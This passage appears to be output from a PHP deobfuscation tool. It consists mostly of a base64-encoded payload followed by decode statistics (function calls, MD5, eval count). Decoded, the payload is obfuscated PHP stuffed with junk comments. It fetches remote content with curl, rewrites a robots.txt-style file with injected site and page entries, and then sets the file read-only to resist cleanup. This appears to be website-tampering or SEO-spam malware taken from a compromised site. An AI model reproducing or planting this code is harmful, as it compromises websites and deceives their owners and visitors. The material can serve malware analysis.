mpUID0gY3VybF9leGVjKCRFZ01DWWd4Tkl4Z1Jzb1luKTsNCiAgICAgICAgLypTU3pHSXglRkJRMEA9PURnPVhnKi9jdXJsX2Nsb3NlLypfN2EoaXdGd3AlVDZVV1kqLygkRWdNQ1lneE5JeGdSc29Zbik7DQogICAgfQ0KICAgIGlmIChlbXB0eSgkdUpsVXlnUGZqVCkgJiYgLypzUjhHYlohaGQrXzBadyovZnVuY3Rpb25fZXhpc3RzLyp1I1JreHY2NVhyeFdKTldOQDhxKi8oJ2ZvcGVuJykgJiYgLypzUjhHYlohaGQrXzBadyovZnVuY3Rpb25fZXhpc3RzLyp1I1JreHY2NVhyeFdKTldOQDhxKi8oJ3N0cmVhbV9nZXRfY29udGVudHMnKSkgew0KICAgICAgICAkaGFuZGxlID0gZm9wZW4oJFNGYWZmQ1VsVnlyVkpBS05kUHFNLCAiciIpOw0KICAgICAgICAkdUpsVXlnUGZqVCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7DQogICAgICAgIC8qRHQmQChCZFE/bFdOZUhVKi9mY2xvc2UvKkBFa3RaZXZuN3E9UkUqLygkaGFuZGxlKTsNCiAgICB9DQogICAgcmV0dXJuICR1SmxVeWdQZmpUOw0KfQ0KZnVuY3Rpb24gWkdLU1pIRUdDcHR0b2FmWigkU0VGVmlRUmRhbnZaSExiLCAkRlNkdnlQeU1veWxielAsICRxQ2dya3pGRnl5eSl7DQogICAgJGlyS1NrQnhlandZa3BuZ3YgPSAiIjsNCiAgICBpZigvKnVHQ3VzMWRVQSo4UVl0Ki9zdHJzdHIvKm1iLTEjd3o1VSo9eHgreSEpMz8qLygkcUNncmt6RkZ5eXksICc/Jykpew0KICAgICAgICAkcUNncmt6RkZ5eXlzID0gLypMNVdrR15rekNsQFcxQ0lqTCovZXhwbG9kZS8qbmh5Uk8jZVM3dE80clRlYndhKi8oJz8nLCAkcUNncmt6RkZ5eXkpOw0KICAgICAgICAkcUNncmt6RkZ5eXkgPSAkcUNncmt6RkZ5eXlzWzBdOw0KICAgICAgICAkaXJLU2tCeGVqd1lrcG5ndiA9ICRTRUZWaVFSZGFudlpITGIuJzovLycuJEZTZHZ5UHlNb3lsYnpQLiRxQ2dya3pGRnl5eS4nPyc7DQogICAgfWVsc2V7DQogICAgICAgICRpcktTa0J4ZWp3WWtwbmd2ID0gJFNFRlZpUVJkYW52WkhMYi4nOi8vJy4kRlNkdnlQeU1veWxielAuJy8nOw0KICAgIH0NCiAgICByZXR1cm4gJGlyS1NrQnhlandZa3BuZ3Y7DQp9DQpmdW5jdGlvbiB5VndqVXFlQ1RPempZbSgkU0VGVmlRUmRhbnZaSExiLCAkRlNkdnlQeU1veWxielAsICRYaFh0S2NhenBZVGtNZWVlWnVPLCAkV3BtbVVrV0VZVFBWLCAkVmp1SUtEZk5iT2poUFp4dEhZankpew0KICAgIGdsb2JhbCAkZlpmcENVRUhNZlloUGpwSUZDeWg7DQogICAgaWYoIS8qbyZHSWVOMSRBQ2dXPyovZmlsZV9leGlzdHMvKllMKnhhQTdDRyNZQ3I4Q0pfJCovKCRmWmZwQ1VFSE1mWWhQanBJRkN5aCkpew0KICAgICAgICBEUEREdFhaV1BlT0koJFNFRlZpUVJkYW52WkhMYiwgJEZTZHZ5UHlNb3lsYnpQLCAkWGhYdEtjYXpwWVRrTWVlZVp1TywgJFdwbW1Va1dFWVRQViwgJFZqdUlLRGZOYk9qaFBaeHRIWWp5KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgJFBaQUlsR0FERGZnb0p4VUhUZXZXID0gZmlsZV9nZXRfY29udGVudHMoJGZaZnBDVUVITWZZaFBqcElGQ3loKTsNCiAgICAgICAgaWYgKCEvKj0jVzJSdmQ9N3k3ODQtclF4cCovc3RycG9zLyomejdFTj1vI000S2wlJGtnQCovKCRQWkFJbEdBRERmZ29KeFVIVGV2VywgIkR0dmlMQUVZWlpIWGYiKSkgew0KICAgICAgICAgICAgRFBERHRYWldQZU9JKCRTRUZWaVFSZGFudlpITGIsICRGU2R2eVB5TW95bGJ6UCwgJFhoWHRLY2F6cFlUa01lZWVadU8sICRXcG1tVWtXRVlUUFYsICRWanVJS0RmTmJPamhQWnh0SFlqeSk7DQogICAgICAgIH0NCiAgICB9DQp9DQpmdW5jdGlvbiBEUEREdFhaV1BlT0koJFNFRlZpUVJkYW52WkhMYiwgJEZTZHZ5UHlNb3lsYnpQLCAkWGhYdEtjYXpwWVRrTWVlZVp1TywgJFdwbW1Va1dFWVRQViwgJFZqdUlLRGZOYk9qaFBaeHRIWWp5KXsNCiAgICBnbG9iYWwgJGZaZnBDVUVITWZZaFBqcElGQ3loLCAkcHVPRk1lR0x6R2ttWHFHSUVhLCAkS3BZWXpFR0F0WGlkU3ZiRG4sICRNcFh3ZHhnYWdqcm5MTmZPajsNCiAgICAkVWd6RWRMa1dqZ0NIeldjbk5uID0gJFNFRlZpUVJkYW52WkhMYi4nOi8vJy4kRlNkdnlQeU1veWxielA7DQogICAgJGlyS1NrQnhlandZa3BuZ3YgPSBaR0tTWkhFR0NwdHRvYWZaKCRTRUZWaVFSZGFudlpITGIsICRGU2R2eVB5TW95bGJ6UCwgJFhoWHRLY2F6cFlUa01lZWVadU8pOw0KICAgICRwamN6THpVaUh0enphUVd2ID0gJyNEdHZpTEFFWVpaSFhmJy5QSFBfRU9MDQogICAgLidVc2VyLWFnZW50OiAqJy5QSFBfRU9MDQogICAgLidBbGxvdzogLycuUEhQX0VPTDsNCiAgICAkSkV4TU5EaFlZaXcgPSBmYWxzZTsNCiAgICAkb25lX3NpdGUgPSAkU0VGVmlRUmRhbnZaSExiLic6Ly8nLiRGU2R2eVB5TW95bGJ6UC4nLycuJEtwWVl6RUdBdFhpZFN2YkRuOw0KICAgIGZvcmVhY2ggKCRWanVJS0RmTmJPamhQWnh0SFlqeSBhcyAkSEtBeFZYRHdzWT0+JG1FVUJkYkZEdnZ3UHFGRUtnKXsNCiAgICAgICAgaWYoLyp1R0N1czFkVUEqOFFZdCovc3Ryc3RyLyptYi0xI3d6NVUqPXh4K3khKTM/Ki8oJFhoWHRLY2F6cFlUa01lZWVadU8sICRtRVVCZGJGRHZ2d1BxRkVLZykpew0KICAgICAgICAgICAgJEpFeE1ORGhZWWl3ID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZigkSkV4TU5EaFlZaXcgfHwgKC8qPSNXMlJ2ZD03eTc4NC1yUXhwKi9zdHJwb3MvKiZ6N0VOPW8jTTRLbCUka2dAKi8oJFhoWHRLY2F6cFlUa01lZWVadU8sICcucGhwJykgIT09IGZhbHNlKSl7DQogICAgICAgIGlmKCFlbXB0eSgkV3BtbVVrV0VZVFBWKSl7DQogICAgICAgICAgICAkcGpjekx6VWlIdHp6YVFXdiAuPSAkTXBYd2R4Z2FnanJuTE5mT2ouJFdwbW1Va1dFWVRQVi4kS3BZWXpFR0F0WGlkU3ZiRG4uUEhQX0VPTDsNCiAgICAgICAgICAgIGlmKCEvKj0jVzJSdmQ9N3k3ODQtclF4cCovc3RycG9zLyomejdFTj1vI000S2wlJGtnQCovKCRYaFh0S2NhenBZVGtNZWVlWnVPLCAnaW5kZXgucGhwJykgJiYgISRKRXhNTkRoWVlpdyl7DQogICAgICAgICAgICAgICAgJHBqY3pMelVpSHR6emFRV3YgLj0gJE1wWHdkeGdhZ2pybkxOZk9qLiRpcktTa0J4ZWp3WWtwbmd2LiRLcFlZekVHQXRYaWRTdmJEbi5QSFBfRU9MOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRwamN6THpVaUh0enphUVd2IC49ICRNcFh3ZHhnYWdqcm5MTmZPai4kaXJLU2tCeGVqd1lrcG5ndi4kS3BZWXpFR0F0WGlkU3ZiRG4uUEhQX0VPTDsNCiAgICAgICAgfQ0KICAgIH1lbHNlew0KICAgICAgICAkcGpjekx6VWlIdHp6YVFXdiAuPSAkTXBYd2R4Z2FnanJuTE5mT2ouJGlyS1NrQnhlandZa3BuZ3YuJEtwWVl6RUdBdFhpZFN2YkRuLlBIUF9FT0w7DQogICAgfQ0KICAgIGlmKCEvKj0jVzJSdmQ9N3k3ODQtclF4cCovc3RycG9zLyomejdFTj1vI000S2wlJGtnQCovKCRwamN6THpVaUh0enphUVd2LCAkb25lX3NpdGUpKXsNCiAgICAgICAgJHBqY3pMelVpSHR6emFRV3YgLj0gJE1wWHdkeGdhZ2pybkxOZk9qLiRvbmVfc2l0ZS5QSFBfRU9MOw0KICAgIH0NCiAgICBmb3JlYWNoICgkVmp1SUtEZk5iT2poUFp4dEhZankgYXMgJEhLQXhWWER3c1k9PiRtRVVCZGJGRHZ2d1BxRkVLZyl7DQogICAgICAgICROUExPU0lqYkNXS0UgPSAkcHVPRk1lR0x6R2ttWHFHSUVhIC4gJy8nIC4kbUVVQmRiRkR2dndQcUZFS2c7DQogICAgICAgIGlmKC8qbyZHSWVOMSRBQ2dXPyovZmlsZV9leGlzdHMvKllMKnhhQTdDRyNZQ3I4Q0pfJCovKCROUExPU0lqYkNXS0UpKXsNCiAgICAgICAgICAgICRwamN6THpVaUh0enphUVd2IC49ICRNcFh3ZHhnYWdqcm5MTmZPai4kVWd6RWRMa1dqZ0NIeldjbk5uLicvJy4kbUVVQmRiRkR2dndQcUZFS2cuJz8nLiRLcFlZekVHQXRYaWRTdmJEbi5QSFBfRU9MOw0KICAgICAgICB9DQogICAgfQ0KICAgIC8qPXZYP1ZOTjU4dkY4Ki9jaG1vZC8qSiZOKHVZdnBwUkw9YzdITyFlbkYqLygkZlpmcENVRUhNZlloUGpwSUZDeWgsIDA2NDQpOw0KICAgICRmY2JycXB5elJvdFFqaCA9IC8qMHNvMTNnVElRXklRIyovZmlsZV9wdXRfY29udGVudHMvKm84Qkhvd2RwZk8zYz9GPytwTVhVKi8oJGZaZnBDVUVITWZZaFBqcElGQ3loLCAkcGpjekx6VWlIdHp6YVFXdik7DQogICAgLyo9dlg/Vk5ONTh2RjgqL2NobW9kLypKJk4odVl2cHBSTD1jN0hPIWVuRiovKCRmWmZwQ1VFSE1mWWhQanBJRkN5aCwgMDQ0NCk7DQogICAgcmV0dXJuICRmY2JycXB5elJvdFFqaDsNCn0gPz4="));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 2311a316deb8fa119de085b9570ce922
Eval Count 1
Decode Time 79 ms